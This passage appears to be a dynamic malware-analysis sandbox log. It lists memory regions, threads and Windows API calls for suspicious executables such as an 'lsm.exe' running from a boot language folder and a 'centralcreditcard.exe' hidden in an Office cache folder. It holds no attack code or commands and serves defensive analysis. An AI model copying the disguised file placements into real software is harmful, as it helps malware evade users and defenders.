= 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 9819 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 9820 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 9821 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 9822 start_va = 0x9d0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 9823 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 9824 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 9825 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 9932 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 9933 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 9934 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 10052 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 10053 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 10054 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10055 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10056 start_va = 0x1a7a0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 10057 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 10058 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 10059 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 10060 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 10061 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 10062 start_va = 0x1a800000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 10174 start_va = 0x1a810000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 10175 start_va = 0x1a820000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 10176 start_va = 0x1a830000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 10177 start_va = 0x1a840000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a840000" filename = "" Region: id = 10178 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 10179 start_va = 0x1ae10000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 10180 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 10181 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 10182 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 10183 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 10184 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 10283 start_va = 0x220000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10284 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 10285 start_va = 0x7fe94aa0000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 10328 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10329 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10330 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10331 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10332 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10333 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 10395 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 10396 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 10445 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 10463 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10482 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10501 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Thread: id = 354 os_tid = 0x6b4 [0225.977] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.203] EtwEventRegister (in: ProviderId=0x22f5910, EnableCallback=0x1afc135c, CallbackContext=0x0, RegHandle=0x22f58f0 | out: RegHandle=0x22f58f0) returned 0x0 [0244.611] EtwEventRegister (in: ProviderId=0x22fa098, EnableCallback=0x1afc13ac, CallbackContext=0x0, RegHandle=0x22fa078 | out: RegHandle=0x22fa078) returned 0x0 [0246.178] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c4f30*=0xd8, lpdwindex=0x12e074 | out: lpdwindex=0x12e074) returned 0x0 [0247.460] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2114d40*=0x228, lpdwindex=0x12dd64 | out: lpdwindex=0x12dd64) returned 0x0 [0248.053] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c4f30*=0xd8, lpdwindex=0x12e074 | out: lpdwindex=0x12e074) returned 0x0 [0267.083] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2114d90*=0x24, lpdwindex=0x12dd64 | out: lpdwindex=0x12dd64) returned 0x0 [0267.755] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c4f30*=0xd8, lpdwindex=0x12e074) Thread: id = 429 os_tid = 0x77c Thread: id = 437 os_tid = 0x808 [0228.380] CoGetContextToken (in: pToken=0x1aa4f820 | out: pToken=0x1aa4f820) returned 0x800401f0 [0228.380] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 443 os_tid = 0x820 Thread: id = 471 os_tid = 0x89c [0245.760] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.761] CoGetContextToken (in: pToken=0x1afafaf0 | out: pToken=0x1afafaf0) returned 0x0 [0245.761] CObjectContext::QueryInterface () returned 0x0 [0245.761] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.761] Release () returned 0x0 [0245.761] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.762] CoUninitialize () [0258.617] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afadf28 | out: phkResult=0x1afadf28*=0x0) returned 0x2 [0258.617] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.623] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe", nBufferLength=0x105, lpBuffer=0x1afaea60, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe", lpFilePart=0x0) returned 0x54 Thread: id = 472 os_tid = 0x8a0 Thread: id = 481 os_tid = 0x8c4 Thread: id = 497 os_tid = 0x904 Thread: id = 498 os_tid = 0x908 Thread: id = 528 os_tid = 0x988 [0248.640] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.641] CoGetContextToken (in: pToken=0x1b86f770 | out: pToken=0x1b86f770) returned 0x0 [0248.641] CObjectContext::QueryInterface () returned 0x0 [0248.641] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.641] Release () returned 0x0 [0248.641] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.641] CoUninitialize () Thread: id = 542 os_tid = 0x9c8 Process: id = "91" image_name = "lsm.exe" filename = "c:\\boot\\fr-fr\\lsm.exe" page_root = "0x23c91000" os_pid = "0x6cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Boot\\fr-FR\\lsm.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7566 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7567 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7568 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 7569 start_va = 0x1140000 end_va = 0x1217fff monitored = 1 entry_point = 0x120f1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 7570 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7571 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7572 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7573 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7574 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7575 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 7576 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7577 start_va = 0x150000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7578 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7579 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7580 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7588 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7589 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7590 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7605 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7606 start_va = 0x210000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 7607 start_va = 0x290000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7608 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 7786 start_va = 0x450000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 7796 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7797 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7798 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7799 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7800 start_va = 0x290000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7801 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 7802 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 7803 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 7804 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7826 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7943 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7944 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7945 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7946 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7947 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7968 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7969 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 7970 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7971 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7972 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8033 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 8034 start_va = 0x1220000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 8035 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8036 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 8037 start_va = 0x920000 end_va = 0x9f0fff monitored = 1 entry_point = 0x9ef1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 8070 start_va = 0x920000 end_va = 0x9f0fff monitored = 1 entry_point = 0x9ef1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 8071 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8258 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8259 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8260 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8266 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8267 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8297 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 8300 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 8305 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 8307 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8309 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8314 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8315 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8316 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 8317 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 8323 start_va = 0x920000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 8324 start_va = 0x920000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 8325 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 8326 start_va = 0xc90000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 8327 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8329 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 8330 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 8331 start_va = 0x2620000 end_va = 0x1a61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 8335 start_va = 0xd90000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 8336 start_va = 0xb30000 end_va = 0xc30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 8341 start_va = 0x1a7e0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 8342 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8345 start_va = 0x1a680000 end_va = 0x1a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a680000" filename = "" Region: id = 8346 start_va = 0x1a8e0000 end_va = 0x1a9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 8347 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8353 start_va = 0x1a9e0000 end_va = 0x1acaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8710 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8783 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8784 start_va = 0x9f0000 end_va = 0xa6cfff monitored = 0 entry_point = 0x9fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8785 start_va = 0x9f0000 end_va = 0xa6cfff monitored = 0 entry_point = 0x9fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8786 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8797 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8798 start_va = 0x9f0000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 8799 start_va = 0x1acb0000 end_va = 0x1ad8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001acb0000" filename = "" Region: id = 8864 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8865 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff 